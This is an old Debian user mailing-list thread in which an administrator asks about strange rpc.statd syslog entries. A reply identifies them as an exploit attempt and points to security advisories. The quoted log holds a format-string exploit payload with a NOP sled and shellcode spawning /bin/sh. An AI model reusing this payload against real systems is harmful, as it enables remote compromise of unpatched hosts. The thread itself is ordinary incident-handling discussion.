I have checked this and i am running the recommended version nfs-common_0.1.9.1-1, also i don't see any obvious signs of access. Dose this mean i don't need to worry about it or is there something else i should be doing ?
Marcel Steve Mickeler wrote: > Its an exploit attempt. > > See http://www.debian.org/security/2000/20000719a and > http://www.cert.org/advisories/CA-2000-17.html for more info > > > On Thu, 21 Feb 2002, Marcel Welschbillig wrote: > > >> Hi, >> >> Im getting these strange entries in my syslog file. Can anyone shed some >> light on what this means ? >> >> >> Feb 21 14:03:35 jbeam >> Feb 21 14:03:35 jbeam syslogd: Cannot glue message parts together >> Feb 21 14:03:35 jbeam /sbin/rpc.statd[198]: gethostbyname error for >> ^X<F7><FF> >> <BF>^X<F7><FF><BF>^Y<F7><FF><BF>^Y<F7><FF><BF>^Z<F7><FF><BF>^Z<F7><FF><BF>^[<F7> >> <FF><BF>^[<F7><FF><BF>%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 >> Feb 21 14:03:35 jbeam >> <C7>^F/bin<C7>F^D/shA0<C0>\210F^G\211v^L\215V^P\215N^L\2 >> 11<F3><B0>^K<CD>\200<B0>^A<CD>\200<E8>\177<FF><FF><FF> >> >> >> Thanks in advance ! >> >> Marcel >> >> >> >> >> -- >> To UNSUBSCRIBE, email to [EMAIL PROTECTED] >> with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] >> > > > > > Todays root password is brought to you by /dev/random > > ..-------------------------------------. > | Steve Mickeler * Network Operations | > +-------------------------------------+ > | Neptune Internet Services | > `-------------------------------------' > > 1024D/ACB58D4F = 0227 164B D680 9E13 9168 AE28 843F 57D7 ACB5 8D4F -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
